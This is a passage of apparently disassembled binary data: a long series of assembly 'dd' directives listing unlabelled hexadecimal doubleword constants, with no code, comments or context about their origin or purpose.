75EB380Ah, 625C7C92h, 0BA7FCFACh, 0D95269C9h dd 1843112h, 7A89141Bh, 2DCD70CCh, 5771594h, 0DD3ECEADh dd 6A9E872Eh, 26CE524Bh, 145DEAF8h, 0C7FAAC9h, 9681681Ah dd 0C97287E2h, 0B135E77Ch, 21C2D50Ch, 0FA331CAh, 0D8E88BF8h dd 3F5C3D4Fh, 0F00C255Bh, 68ED0945h, 0A27130CDh, 0CD0BF03Ah dd 378E5AB8h, 3B7BB5AEh, 564ADD66h, 264151F6h, 0BEE5091Fh dd 43C5A39Dh, 5F5A7C85h, 65E36B83h, 1637950Fh, 0C770EBA3h dd 0B776E960h, 79D78B4Eh, 720BC1E5h, 0B74A69D5h, 340AB430h dd 19F154FCh, 0FDBDF24h, 0DA4B7137h, 0D22351DDh, 0BCE3B3B0h dd 3F411A0Eh, 63D2B95Ah, 74E088D7h, 79601654h, 0F92B1436h dd 7B0C0599h, 0AE6A35B4h, 0E70CEE37h, 371308BCh, 0EC657721h dd 100A7D17h, 0E084E04Dh, 15EE558h, 99FBF0FDh, 5E0FAC6Fh dd 0B0D2905Ch, 0A44491ACh, 0DB0CE1DCh, 6698D7D7h, 38AB177h dd 0B0B1F908h, 24E732A7h, 7BBE2D9Ch, 59DECCB6h, 5985D0D2h dd 0E2E952D6h, 0CC9EC0B2h, 0A053EAB6h, 350972D9h, 6228805Bh dd 0C0E3CB1Fh, 614AB0ACh, 995ACD2Bh, 0DACDFC40h, 0DF3F230Fh dd 0E03E5EA0h, 30F0A86Ah, 0B70A4C16h, 9A69CF41h, 562F470Ch dd 0E99D46D1h, 0A57D46B6h, 0CF68023Ah, 0EF2B015Bh, 4F8AD15Ah dd 291C9C2Bh, 0A6D9F081h, 0EA353F7Eh, 32EDF798h, 0BC7B5895h dd 0C81235D3h, 0D9C3C4C1h, 660AE01Ah, 42EECB9Ah, 7DB7A13Bh dd 0DC138417h, 3730FB67h, 24115CD5h, 0CF716170h, 0A53CA141h dd 0E56EC496h, 0DA5B85FCh, 34A27E70h, 3E2D8F7Bh, 0E9425561h dd 5313E65h, 98823608h, 753C4DEFh, 0FD7C0FEEh, 2354FF2Bh dd 7DD8C0A4h, 0F84DB365h, 0FA2A7711h, 5BCCE21Eh, 61D6DAFh dd 4F7ADE36h, 5BDE96CEh, 7CFA8E9Dh, 0FC4AED9h, 9D619C2Ah dd 2536DE59h, 0C3A80147h, 0BD6EEA29h, 2DF84452h, 0D52EE661h dd 197A37Eh, 0E0BA3D63h, 0E399839Eh, 80D2B1B1h, 587AE1BDh dd 0F19E1A98h, 6633B930h, 46DA4500h, 57492487h, 0E03BED45h dd 46FEA06Bh, 0BC733530h, 9735511Eh, 554A8A6Fh, 7C1AE06h dd 5648EBACh, 679CEEE3h, 0B55B7DB0h, 501553CAh, 0C5FC627Ch dd 0D6CC4CF3h, 0CBCA01CDh, 0B210EA4Dh, 29C0DCCCh, 0FDD81FECh dd 9763F29Ah, 0ACFF5D4Eh, 79B533D8h, 17E14D93h, 0D07F1708h dd 0F1DA97C5h, 36A4543Ah, 51A5D3F0h, 0F85EF1FFh, 0D7DC953Ch dd 5988340Ch, 39B2CFB9h, 0A5A2CC1h, 85F11E4h, 0FC0CEAEEh dd 7A18DE7Ah, 318D3AABh, 20260B0Dh, 6BDD3A60h, 991BFC0Dh dd 0EB7B6F8Ah, 0B8FED91h, 70DD0A50h, 3F183E41h, 700C885Ah dd 253D10C7h, 0DA6E1451h, 2BD628C9h, 0E4B8F5A4h, 0B2320540h dd 0A7355255h, 4946DE28h, 0EC41F96Bh, 1A4B2E56h, 8D96EA31h dd 857D3B09h, 3D0A5978h, 2FCBB8C2h, 618EA06Dh, 52AF0586h dd 7E72B8EFh, 9CF030C6h, 26034F9Eh, 96042B9Fh, 60E78BEh dd 8B08275Bh, 7D6B4719h, 0E9A8B3F0h, 3E402B9Fh, 0A9257697h dd 43F1D268h, 0C02BF08Ah, 84053AAAh, 86078314h, 0A50BE29Ah dd 0E779DC0Ch, 30F3A065h, 0F2CB0F60h, 0B31664BBh, 116AAFEAh dd 30AA1ECDh, 4D9044CDh, 0FE5976D6h, 6B2EE968h, 0DB34F575h dd 59A000AEh, 0AB1E96CAh, 0EC2A9C3Fh, 60104CFBh, 0AAD23592h dd 7EBB52D9h, 4C26249Ah, 294BFE39h, 829EFF98h, 4E557860h dd 5F7489ADh, 895A20BFh, 0CEA675FEh, 8837A4A8h, 0FA991C37h dd 96B54810h, 9E9C07FFh, 1D1BFDD5h, 0F6FB5B5Bh, 9777DAA3h dd 68ED7768h, 50C090F0h, 0D3AEDB2Dh, 0C0249FEFh, 34DA5A38h dd 0D5AF2561h, 0D60D0A48h, 2E535544h, 0FBE43BDBh, 0B015ADE2h dd 0D2C8CDD4h, 9D313648h, 4D2646F9h, 875B35F6h, 8CE73948h dd 0D6FC67D6h, 0BA02E78Fh, 7F4B6B8Fh, 4B354B1Ch, 83501B8h dd 1B4958E1h, 80D7F411h, 2750446Ch, 0B406D1E5h, 0A4CCFEF1h dd 0BEB540CDh, 0BA9DB397h, 8DAE2F01h, 0C53C5FF1h, 0C9EBD0B9h dd 80FBF3EDh, 85464A64h, 86078F09h, 0BBE2AC9Fh, 775006E0h dd 0D04F78BFh, 0D46C72E7h, 0CD90931Ch, 0E047AE7Ch, 53C05BD4h dd 0A946D764h, 0AB053FACh, 0AFF182D6h, 2EAFDF83h, 4DA1EBB5h dd 405B9BB2h, 8237B65Eh, 3594C73h, 63A7052Fh, 66C410B7h dd 90A79C21h, 28F24A65h, 0D48B4476h, 0FCD8AD9Ch, 85629544h dd 0C3C18881h, 2FE29302h, 4F5B9F0Bh, 0E121F841h, 0B6EB9461h dd 2A9ED92Fh, 0EDD9A506h, 8F25FBCBh, 57BD48B2h, 7588EE6Ch dd 8BFCA452h, 7B81BB44h, 0BEEE237Ch, 6918782Ah, 0A569E4C6h dd 0E17B7FE7h, 86C76F64h, 0E4B4DB66h, 2EF81E36h, 3301F8A1h dd 0BE6C361Bh, 460A5C6Eh, 980D5F5Fh, 0CF934FF1h, 0FF44D409h dd 2497EB26h, 28BF22AFh, 0E1F5F91Ah, 708B447Bh, 156572CAh dd 83FC677Bh, 95F630EDh, 9E121EA5h, 29E8B01Bh, 0C7F48BAEh dd 8A4D6904h, 4C142E6Eh, 0B3AA6A77h, 0F2F74309h, 47A2B214h dd 4703AA81h, 0DEBCE710h, 0F4285480h, 0A3F7BE55h, 0AD127D34h dd 8728BF62h, 11671065h, 1C8F958Ah, 3718BE03h, 0EDD31495h dd 0E6DD8B94h, 0AEB0B658h, 0EE0E460Fh, 0E44C0BBEh, 2926FBA9h dd 1CAFDA94h, 9E2BB448h, 6C452AD4h, 6D03BDE7h, 0D329BC8Bh dd 81493075h, 28DB3B0Ch, 0C4C5B03Ch, 0FEFFB276h, 0BAD467D4h dd 0E62384D0h, 296E8C1Ah, 3282D755h, 0A61AA339h, 0D3F2679Dh dd 9D497F4Bh, 0ECBF1010h, 1F950AE0h, 110D2268h, 225ECCD3h dd 0D355E111h, 0F4715012h, 79D31E1Ch, 4FB181FEh, 0F8EF9C0Ah dd 0ABC3F59Eh, 1F848AFDh, 5661A8BFh, 880BA9C2h, 861B9930h dd 0BD670CAFh, 9EC52B8Eh, 2A1F898Ah, 3F7D181Fh, 0D7471B21h dd 95380F53h, 37536DA5h, 0B64DBC9h, 0C24BB5ECh, 6A93D5C8h dd 6B76BE49h, 0E56BA534h, 0A009688Ch, 735D78A5h, 0BF43C2ABh dd 9EF3FCFBh, 920A3AB9h, 3E9CEEE1h, 0CC07AEB6h, 0FD21048Eh dd 6EAAD429h, 68B5FF65h, 0B90ADE07h, 9707DCDCh, 0F5E5FE77h dd 9C49116Eh, 0E0609C8Bh, 6BFABE74h, 0B796C673h, 153F8081h dd 7DD68E3Ah, 997E9A36h, 3F39F7E3h, 440882DEh, 7B255253h dd 8C8D48AEh, 0A8216F6h, 8B87E1F0h, 49C31649h, 34F3A9BDh dd 10A8FB7h, 8F67738Ah dd 3FDCE957h, 0D071D6BFh, 0B2E1234Ch, 0F36055E6h, 7623DD46h dd 0B82E5092h, 0CED8C1DFh, 65381FBCh, 7665BFFDh, 3E85F47Bh dd 6F7B835Ah, 3737C08Fh, 0B659387Bh, 881C7FB3h, 9C4AD1FAh dd 0C1DE3D90h, 46922173h, 0D545247Fh, 0EB51B9AAh, 0BC421F8Ch dd 0A077D61Eh, 0BA38BFD6h, 7B3A0D1h, 13A84AF9h, 0E97B90E0h dd 5AF6D189h, 1DA29D9Eh, 123DF40Fh, 17C72711h, 3FA293E3h dd 7A8AC54Dh, 19CD6E3Eh, 497354A4h, 3DF3592Fh, 5288958Fh dd 4AB89ED8h, 6D1AAACDh, 9CF995A5h, 57ED13E3h, 0EDAB1Ch dd 12DB93CDh, 3A90D52Dh, 4FBBD823h, 0F99A8300h, 3A5C53Ah dd 51595696h, 386D846Ah, 0E7F9957Eh, 4C3E1F7Fh, 3CC16E9Ah dd 0ACE8F5D5h, 0DFBB7936h, 572C2F39h, 2F31492Ch, 0D1F935B3h dd 91AAD038h, 48E1ABE3h, 0BE72933Ah, 52B74548h, 29769897h dd 5C1BCB45h, 0D55564C4h, 0DCBAA122h, 5BF625F0h, 3C6E8D32h dd 4177E0F8h, 0A1A07BDBh, 0F52F1504h, 51B2B33Ch, 0FEFED9Bh dd 0D27B40B6h, 0FC701626h, 15546CE5h, 2836B2B3h, 0DA8DA2E7h dd 6A9F6F15h, 0F0BA978h, 67DCBFC6h, 5962B1E7h, 8BF074FBh dd 7C875606h, 5D699AC1h, 5CD0BEE2h, 758A770Ch, 28A81502h dd 8EB778D3h, 0E6CFA0D7h, 6D9CDB3Ah, 0F73B3A10h, 553FCF07h dd 8112A95Ah, 22F4E097h, 0F6DBD679h, 657E236Eh, 5F8F08ABh dd 6B16183Ah, 1592415Dh, 9B8DE07Bh, 0D50DE737h, 0C3C1F741h dd 52C2FEEBh, 0CB97B59Bh, 1644A494h, 0F4E1C44Bh, 4781FCD1h dd 0E096E54Ah, 0CB8F4356h, 0BEDAD192h, 0B60BFF3Bh, 6D9C3927h dd 0ADFB2F01h, 0CB8BFCB5h, 4A772595h, 6562E95Ch, 4750136Dh dd 5036CA0Eh, 0E7F92A18h, 87EB2169h, 0D8ADDB3Ah, 75899C17h dd 8AAAE01Dh, 209D4FFAh, 210BB793h, 0ACC654F0h, 0F9EA029Fh dd 252FF7F7h, 0A3818517h, 695594BAh, 9A8DA2B4h, 0AC8C43F1h dd 1F5E6372h, 0B5522383h, 0E2441DC5h, 0B655E422h, 1E7A6FD1h dd 580E7BCEh, 0A7072502h, 0A377966Fh, 0ABB3781Bh, 0E2B5A6FBh dd 0BB86E4E3h, 2D7502DDh, 0E67540C2h, 3AB9AEC0h, 48B619B2h dd 46C37AD4h, 7F35D5B4h, 6FD659DEh, 3D2D0475h, 0E0C7DBA0h dd 0D6D7C1E6h, 0B46DE5B0h, 8BA2E9FBh, 1DC256F0h, 3E39FEAEh dd 4F712FCBh, 0A658207Eh, 0C2FF3F87h, 8CDACBFh, 0E0F3AB1h dd 0E4CFF75Dh, 1EAB3381h, 172E590Fh, 0C5E3A3A2h, 8775C437h dd 0B908578Fh, 0B3F35F46h, 0E5C1D69Fh, 0AF1DC4AEh, 0EA9795EAh dd 0C10FC6FEh, 7D4DA4D6h, 0AF2D5562h, 0D37D38ACh, 2E6A5809h dd 0E43F0D2Ah, 0AAA0AED4h, 0E1AC153Ah, 981DFB99h, 0CC6FEAD7h dd 0C722E796h, 8E34F265h, 2BA24C5Fh, 5557F32h, 0FBE2F815h dd 5D9591EDh, 8630057Ch, 5684B352h, 71E4C5D9h, 91BEFA13h dd 6EC337F2h, 426BA439h, 1307C8C6h, 0FCF66D50h, 427287FBh dd 12035AD7h, 194F0456h, 3E6E7FEEh, 47FDC4AEh, 0D3B5629Ah dd 0A31A73EBh, 0F683CFA6h, 937E636Eh, 0F9B12AB8h, 396AA2A0h dd 83FBBF0Bh, 745C057Dh, 7474BB73h, 4B2D290h, 79B8571Eh dd 58AB7364h, 6BD50E66h, 0E4DDE43Fh, 89815697h, 0E6CE5194h dd 509CB351h, 10C0FDFFh, 9E0E1BAAh, 3598AA0Ch, 468168DFh dd 0F0466ED6h, 49ADCD4Fh, 0C00833B8h, 0B8B9AC77h, 23BAA0F3h dd 58688FA6h, 5270E952h, 3A8F9717h, 1B0315D6h, 55017749h dd 15198F8Fh, 22F0DCh, 0A2925983h, 95ADF2DEh, 2C2261FEh dd 8EA10A61h, 3EC34198h, 74576E96h, 5703D9BBh, 49AADBE0h dd 2DDBFE4Eh, 75AFC4B1h, 0DB8C5B72h, 0A732F0BAh, 9CFDE3B0h dd 3C592809h, 5A35F02Ch, 0E796BED3h, 85121DCDh, 0EA2CA07Ah dd 0E75B1A89h, 7E3CA25Dh, 609039B5h, 4BDA25B8h, 1FED641Fh dd 7AFE4321h, 7BB48F9Eh, 0E15CA896h, 0D3AEFB46h, 0B69606A2h dd 56743300h, 997BF46Fh, 0CDE5CF3Ch, 0AE62F0BFh, 85CB538Dh dd 84829101h, 82446D11h, 6AD08AAh, 0E4C256F2h, 0DCE1F57h dd 50053357h, 0E02CA0CEh, 51BDDA86h, 92BA5970h, 29FB7216h dd 90B5B81Fh, 0F51A0D3Ah, 0AE016E81h, 7FB08B17h, 6068F09Bh dd 0AC0FCB86h, 7B0F7077h, 13633EDEh, 0F0A1607h, 9FDA652Bh dd 0ACA9CD4Ah, 76746BCBh, 0AA0EA956h, 5F280BF4h, 7058FCD4h dd 189FF969h, 0DBCE12DBh, 8F25CB88h, 0A4B0BDC3h, 75957E19h dd 6B657DF4h, 67CB46D1h, 0DEB56CC4h, 0E5DE2137h, 93EE6EF4h dd 5B25FF7Dh, 6CFC343Bh, 0F7CCDC28h, 0C365FCBh, 6AE745BBh dd 0FE9CF054h, 0ECBE3DA1h, 7E44D4C6h, 0FDFC3B08h, 0AB4E35CBh dd 0DF04DBh, 0DCD46DA8h, 853E9EE8h, 0ABDDEB61h, 3AF3F093h dd 0F5757878h, 0B82D60F3h, 840D69B1h, 235E688Bh, 7812746Dh dd 6FAAB78Dh, 82F7ED0Ah, 0A23F626Ch, 0FE85EE59h, 4E423099h dd 5AF9135Eh, 90458D4Ah, 251FB696h, 0A6EA33BCh, 37D67A67h dd 0B3EFD7C2h, 27F85339h, 1573372Dh, 16FCCAA8h, 0CD1511Dh dd 0BD475C27h, 0AACAAE15h, 2CC16DB4h, 0D5836ED6h, 4C02BF0Ah dd 4E07C32Eh, 0D2C43A18h, 0BFDE661Fh, 8DD3CB1Ah, 5095F443h dd 6AF783BEh, 0F921ED60h, 77EB8806h, 41BE0F82h, 101D8561h dd 0FB68942Dh, 72B2AC40h, 0D56744E8h, 0C7963A24h, 13C3565Eh dd 3C6A4F9Eh, 0D0E6DEBDh, 63BB5138h, 949C8D54h, 0C3A348AEh dd 0A9BAD1Fh, 1AFD7770h, 0EED7A81Ch, 54A6E8DAh, 2A7DA2C7h dd 9D6A36C8h, 6D4DFBF8h, 3A1983F6h, 0F9F99AEAh, 216A6A00h dd 0A5B780DAh, 3736CFB7h, 0A0E78235h, 0C69E65BCh, 0AB3F18BDh dd 95AAB60Bh, 0BB1A2AC5h, 0E6D7E6A3h, 3B64F183h, 0E1688A4Dh dd 0B0BCBAD4h, 8E2A5556h, 3A6B45ADh, 55E32BA7h, 0B3354A83h dd 0C4A8AAE9h, 9E451A60h, 825C23F1h, 0BCECCD57h, 6D329A9h dd 5DB391A4h, 0CC2127F8h, 2DAA313Eh, 88616321h, 2ED46851h dd 4782D8C1h, 280F5ADCh, 54ED1E5h, 0E77EE1D5h, 0BE0F0E09h dd 81F5EFE6h, 19FA2173h, 51FF6C66h, 82E3DD59h, 12AC5DE0h dd 6B6D3D5h, 0AF255B2Ah, 0AB747861h, 0E9F4B471h, 76EDACDBh dd 0AEB8D07Fh, 3DED56D6h, 3D929E49h, 0A5A52374h, 0E64059D8h dd 9620BB1Ah, 0DC78BD61h, 528EF071h, 75D703FDh, 0AF6D68A6h dd 421DE815h, 0D952BB29h, 91F9C53Ch, 8AED5590h, 2F03E81Fh dd 5A393781h, 5FD14A31h, 7D757719h, 2D3E6541h, 62C9908Eh dd 5B155939h, 307CFE58h, 0D5E3DD78h, 0CC8A7635h, 0D7BAF42Ch dd 7E301C1Fh, 5A181E76h, 0E28197A0h, 0AB979405h, 10671748h dd 4A550E5Dh, 24168F1Dh, 749E4D63h, 0E8C644DDh, 59B7FD0h dd 7F9F187Dh, 0B09118AAh, 0F84F9ED5h, 0F270F072h, 1DC7F9F7h dd 817BA7Bh, 66E9CFB2h, 0AED3C81Eh, 0EAADBBDEh, 8C1A9A64h dd 761F82ECh, 4284A2D1h, 418699A3h, 0E07AFC4Eh, 166B080Ch dd 0BA68585Dh, 696CA02Bh, 0D3928177h, 3EBE3218h, 6AB342B1h dd 2931CC56h, 0FE04D4F7h, 2A37DD55h, 90F0F99Ah, 430470Fh dd 0F69422ABh, 11877E5Dh, 2D1A026Bh, 0B4CB488Ch, 0D4C9015Fh dd 0DFA9C3C0h, 0F56295C8h, 9DDF71D3h, 0E5769D3Ch, 2C7FA156h dd 0C6725CBFh, 0C8CD58A9h, 1CC3F4DFh, 0CA433BF7h, 0E1506FDEh dd 597024ECh, 0B6381F3Ch, 908D6FC2h, 0B16986A9h, 72A1AE9Eh dd 756B5B2Eh, 896257C9h, 1AF78C87h, 9F2DD316h, 9E35BF75h dd 0C5A06CFh, 421CBDB2h, 73746D96h, 0ADAD93EDh, 0EB015E8Fh dd 91269B30h, 3EFC3E7Bh, 43D213C8h, 0DDB6730Ah, 420F4584h dd 2EF75D8Dh, 31CCA85Ah, 31926DD6h, 0B97156BBh, 0C85D78C0h dd 0B25D5AC1h, 0AB19B99Fh dd 55AC4F27h, 5E7F2503h, 5F45DA1Fh, 8EC8D205h, 82AF81F8h dd 6C683EDCh, 529BA58Ah, 276E92BEh, 7B5A1D5Eh, 0B17EF7AFh dd 0CB55DCF9h, 0A3C916C1h, 546E9F72h, 727CE05Bh, 0AEBC5452h dd 941BBEFDh, 50ADF1C1h, 55E5AE01h, 7C8E112Ch, 0C09B28Ch dd 7BE198B1h, 116F0DCh, 97B82D8Fh, 0D783E8E9h, 47F0A17Bh dd 0FC6EA1Dh, 68430F2Bh, 7547042Ah, 0D0E630A4h, 0A50DEE63h dd 0A758AABEh, 0B278ED3Eh, 0D9DC6647h, 2AF3A4ABh, 3E2555FAh dd 0E6F872C0h, 0BB99024Bh, 272A16CCh, 0D555095Fh, 5C0D7C34h dd 3ACBA475h, 0E89E7430h, 0D8004C5Ch, 69B5FAE8h, 7E26EDB7h dd 682BF359h, 0A256DE53h, 8B65545Ch, 2BF9CB47h, 17638D95h dd 282499A8h, 243F07AEh, 8A34D5E8h, 0E9C1E825h, 6A2D8436h dd 0A56897AEh, 4037AB5Eh, 0D00C02BFh, 45F352D9h, 406D14BEh dd 9E7D5FE3h, 195CAE4Fh, 0C2378668h, 0A7B9F0D7h, 0CDA21627h dd 0F6D8AD2h, 85A08AB8h, 34DC3F43h, 0ADA302CEh, 927E073Ch dd 0BC6BB643h, 5A09FE72h, 78A5F844h, 84607E55h, 0BFE7AFE0h dd 0D37EC2Ah, 97050E33h, 4DCB2964h, 6027D01Eh, 4BD80DBEh dd 0A1DA2CCEh, 0A0E36161h, 0CEF77B6Ah, 68DB8E2Eh, 8B931153h dd 2CA04B3Dh, 0EBE0FD80h, 0B0341199h, 0DB2E81ECh, 0D1C9C0F8h dd 2317DE2Ah, 475792F6h, 884F083Fh, 0F274B530h, 0CC2DFE55h dd 7CAB086Eh, 0DFF208A5h, 206524B0h, 0C54D46F2h, 545BECFEh dd 3F8F02AFh, 89B020E3h, 0AB0DD49Eh, 0F015B35Dh, 5C11B256h dd 77676317h, 55846268h, 5F07FC17h, 4AA5857Ah, 82E8042Eh dd 29F81F9h, 0E83539CEh, 2393954Eh, 0CA3F1AAEh, 520AE892h dd 9547A592h, 0DF9FC591h, 7F83AB44h, 5A72A8C8h, 0DDFC3AC1h dd 69E3EDEEh, 0B0BD7821h, 0B5543F65h, 0FC014A07h, 5D27649Ah dd 0B5E20348h, 0C2F9968Eh, 0F880B56Ah, 0A8AAB162h, 5A35F81Fh dd 8F3E1EABh, 8A270771h, 1C86930Fh, 9DE3A3EAh, 60D4AAA8h dd 0BEDB486h, 0D6292764h, 0D7568A2Dh, 1B66703Dh, 0B57102E4h dd 41B03E68h, 0AEEF1736h, 2FEEACC8h, 7D361E31h, 596C43D1h dd 87834A62h, 62A7D3C7h, 2BAD95D5h, 3CF3B1C2h, 0DC1AAA37h dd 0CE08BAB5h, 0D20D8F08h, 9A581FE0h, 5D59E9EDh, 683A7958h dd 0EB7AAC7Eh, 94B974B3h, 115E188Eh, 2D22EBBCh, 2FC6F1DAh dd 2674B513h, 890F342Ch, 7DBEBD31h, 50E4E66Ch, 324542F1h dd 0F0049248h, 7776F521h, 0A6776F7h, 6703C896h, 2D4AE2A1h dd 895D016Eh, 0A9C171ADh, 48523338h, 7D85D250h, 0D8A410B4h dd 436101FFh, 0F49602CCh, 7AFD5975h, 3D6B67B4h, 0E49D8D75h dd 0C336F25Dh, 0FF76BAAh, 1295EB92h, 2992F32Ah, 846CD6C9h dd 485224DAh, 0D3827F41h, 0E317DF7Dh, 952C249Ch, 57C53F4h dd 0BB55D4B2h, 0D52E0FB9h, 723EEE58h, 0BEFC32D8h, 8A05980Bh dd 76BCE0DCh, 0EC4191B5h, 2BFDDC7Ah, 83414Ch, 8183A129h dd 9F61522Ah, 5BAACB51h, 1EF89CCh, 538DACB7h, 7523C8F7h dd 94D57314h, 4AFAAB9Ch, 37E61035h, 0BD695A5Ah, 3D8A56DEh dd 6A5A2D3Ah, 5A1A50EBh, 481EFF68h, 0F7D51B8Ch, 0BA63A6FDh dd 0D419B292h, 0E50F4EBEh, 96A13123h, 0D157306Ch, 3F3D7D0Dh dd 0A2BE25A2h, 2F3E0302h, 5673699Bh, 645B7923h, 0AB7050FCh dd 7243F57h, 3B53CEA8h, 317D956Ah, 2AB4B495h, 78A12AB3h dd 680BA520h, 0C91CABBAh, 4C5F1F0Ah, 0AC5CDF7Ch, 894A6FA2h dd 9776932Fh, 7F35BB76h, 515535D3h, 0F7465553h, 9602EF54h dd 897AFC52h, 0D0A74795h, 0DE0B1A49h, 3678F69Dh, 4DD56AA1h dd 0EFC52ABDh, 80DB79E5h, 7F691FD6h, 0EB24F732h, 9D899E47h dd 704E378Dh, 56B0621h, 6B1AE1E4h, 0E1D6783Ch, 0B8DBC2F6h dd 7B03E1FFh, 12E9BA10h, 597524DBh, 0F8E785F2h, 0AC2A9E01h dd 4CBFF55Ah, 69B35C1Fh, 1474A72Ah, 26BAF631h, 0E5CC4832h dd 1837A22Eh, 79CE559Fh, 736E265Fh, 8512A5E2h, 1D7A407Fh dd 47C4BC45h, 2A672274h, 7F7F1DD6h, 0C594E930h, 3EBCF7ABh dd 48FCC17Eh, 0E8213933h, 0B14FA72Eh, 0C8B6BBE3h, 93FE2EE7h dd 8667A763h, 1906FDA3h, 7C62ED69h, 0D6CA2FCAh, 0C94F60CBh dd 94E5B5D1h, 0C0CAF42Ch, 21707009h, 5638732Ah, 6F57B965h dd 0E4F3247Bh, 8358DE30h, 2F5B8FBEh, 0E0DD1122h, 0C0380ABAh dd 7C728386h, 0E75EE3F1h, 0C85010BEh, 820D72AFh, 0A36D91A9h dd 5564A26h, 7D255654h, 4015BC15h, 44F16841h, 995F4494h dd 0D752F3B3h, 375A92C6h, 0FB953245h, 5BB4C0F7h, 0B439D8CDh dd 0D4BF4EA7h, 2EED4F01h, 7755236Bh, 12ABFA46h, 0F1581764h dd 300A069h, 5C2FE092h, 0C7F4D492h, 0FC8EECDAh, 0E1D1B45Fh dd 0A6ABE3CBh, 738DC272h, 8057515Fh, 3CD3DDB9h, 78FED300h dd 0AE46092Bh, 0F52BC7BDh, 9CDFA36Ah, 49AD5338h, 54C44B59h dd 6F2E55CAh, 1AA5A95Dh, 0E652F7E5h, 0DD5268D2h, 52C6D2ABh dd 68D5CBECh, 0D552D5DCh, 21E90FC1h, 0FAE1189Ah, 72A0F0Dh dd 0A8CBD6C1h, 5D7219Eh, 4CB2789h, 76B15026h, 76F85773h dd 0C531B05Ch, 70C4715h, 0FC064B53h, 0F2F370B7h, 7812F1EFh dd 0BE6E585Fh, 0F6478334h, 0D1022F63h, 98FD8462h, 0FD75BE1Bh dd 0BC20C66Ch, 7F7EC59Ah, 7BB3D28Fh, 66924225h, 9C353887h dd 41CB16EBh, 14579983h, 0AF45E3BFh, 17D2AE12h, 0BB436032h dd 0E3764A7Bh, 0A5CF6F08h, 0ECB55561h, 568A8D38h, 0C158EE16h dd 8B92ABD0h, 0C9FDE6BEh, 0F095CB7Ah, 72752D6Dh, 0C421BBF2h dd 51B74342h, 2CBED6Eh, 9891FEE6h, 4B1D7BF9h, 116E8BFh dd 41D9D751h, 72D82AA8h, 0C540F0F0h, 0F5FCE442h, 933C4C16h dd 10A91493h, 0A0229EFh, 0C0862E7Ah, 96916A04h, 6FDDC132h dd 5FF525C9h, 0C833B010h, 41B7E1D5h, 0D89D366Ah, 0FA39A596h dd 0A4059DAFh, 0A92ADACh, 511E8BC9h, 9578654Eh, 9DA95EA4h dd 0A2A7822h, 0A345D3EFh, 4BFB314h, 0AF99577Eh, 98E880D5h dd 0F3771D68h, 15E6A12Dh, 0E29FAE35h, 0E6C6EE0Dh, 7452A430h dd 7B6E0AF0h, 1278C057h, 23795984h, 99C71091h, 0BDF56BABh dd 60C579B6h, 0A59EB5BCh, 0F77D8372h, 0D180EA89h, 0BDBA96BBh dd 0D2AD1E83h, 0E3B5951Bh, 464B23DFh, 0B72E9D46h, 8FD1C1C0h dd 7E24D9C5h, 3CCE6A55h, 9ED2B970h, 5391B3F2h, 581AF125h dd 0F3F07DF8h, 15388ED1h, 5E1CBABEh, 0D39C5EC6h, 3B5175Ah dd 0F6ACF0D5h, 0F05FA9DFh, 277BC657h, 0C17CDBEAh, 247F25B2h dd 0CED51579h, 0ACFA2AA5h, 0BB7009F0h, 4A4470FFh, 0C0F1A1Dh dd 0E1813C49h, 5E32ABF8h, 40672AF6h, 8B1F766Dh, 0B88DAA22h dd 0DEBA788Ah, 2AE9AE3Fh, 84CDB4B5h, 0CABCC1C7h, 9F84BE49h dd 8564705Eh, 43B9C896h, 4E702BF6h, 0F5873105h, 604BB981h dd 990F2281h, 0C5CA4C8Dh, 0A6EF607Dh, 0DFEAA726h, 0F4DB8762h dd 2BE38717h, 0F9720E7Bh, 0BEA5FD56h, 53D86FD3h, 44173AC0h dd 4644D59Ah, 6B87100Dh, 3DD4942Ah, 58BF52A0h, 0F58FC3B4h dd 784679BEh, 973625AAh, 0EC0BDD9Ah, 3A289BFEh, 17FC24h dd 95585FDCh, 8707267h, 8132FEB0h, 0D270AAD5h, 0FFDB085Ah dd 8A5ECBDDh, 8E60CB27h, 0E7015B15h, 3FA7BE79h, 0B3AE58DFh dd 3EB5832Fh, 0ACE85F3Fh, 0DDE46F15h, 0F1FFBF25h, 7E1A51DDh dd 0A2FAE7D0h, 0C0F037C5h, 0B35485F4h, 1FCAAF8Ch, 2EF6E7B0h dd 3EFE0FD3h, 89E05F30h, 9B997806h, 4F72B7C3h, 295C5794h dd 6D236E7Ch, 0F116153Bh, 386C0F22h, 0B17A993Ah, 7CD6A50Bh dd 0C3B17970h, 2C17C74Ah dd 0B580713Bh, 578AAD2Ch, 20F61ADDh, 0BF5D4B8Ch, 0B44B3AD7h dd 6BFBA3B9h, 250B4DDh, 0EF6BA6D0h, 0FD11A2EAh, 80C3B5B3h dd 0FCCDC2B7h, 413580BFh, 0E0857EB2h, 37AA5611h, 314A5E1Fh dd 3B71A924h, 0D25CBD73h, 64B28259h, 0DBEC2189h, 947079EEh dd 0A82E45BFh, 321D02B3h, 2B6ED43Dh, 30B3D572h, 11B97023h dd 982C26B5h, 0A95A293h, 0D89D9355h, 6F02B7C1h, 0D4CD9FE5h dd 7470A2F6h, 44303F9Ah, 25A2E1DEh, 2DC1E8Ch, 0E72AA53Eh dd 84DF4222h, 0BBDECB45h, 5FE79531h, 0DAF7583Dh, 0B3B84463h dd 19116895h, 0AE91ADB8h, 0E2A9444Ch, 0E7A32FD1h, 0C62BA156h dd 356DFB98h, 2554FA67h, 6D1629CEh, 19F026C1h, 5F1FC893h dd 9AEA40B3h, 86CD9FDDh, 881E5DFFh, 8C6DCF81h, 0C23B1A96h dd 53AEBE71h, 73E70DF9h, 0CB626AEAh, 428BBF66h, 0A02AD6A9h dd 0F857F136h, 0FAD1383Eh, 0A862B906h, 9E790DA2h, 3361FBE7h dd 943CA1C8h, 73329F62h, 48642CD8h, 49EBDB54h, 49CCBB69h dd 2A69A6B1h, 64F03EB9h, 0B7D2B7CCh, 2FC3885Eh, 63CF79CFh dd 8FB6B73Ah, 0AA91A8F3h, 7D92CF80h, 0AF677AF4h, 1D4787E2h dd 0ED1A81A9h, 0CE6643E3h, 5FCF5561h, 0EEFB2A8Fh, 0E439D60Eh dd 6C1C72A2h, 16BF483Eh, 2EC9247Bh, 2AD6FA9Ch, 0C2AD446Ah dd 0F68A4546h, 7607252h, 9E29F059h, 2A7EFBC1h, 7F477F8Dh dd 0C2B897F8h, 5EB41D6Ah, 354ED135h, 846724F5h, 0B48FCF83h dd 0EB1BEE56h, 10BA1585h, 502D465h, 768A52DDh, 616F74F8h dd 0D5ABB5EEh, 1D4317C5h, 45599DBh, 5D367A2Eh, 0ABACFF6Ch dd 9E3DA1CEh, 14DEBB7Ah, 0ADEC537Bh, 8A378B9Bh, 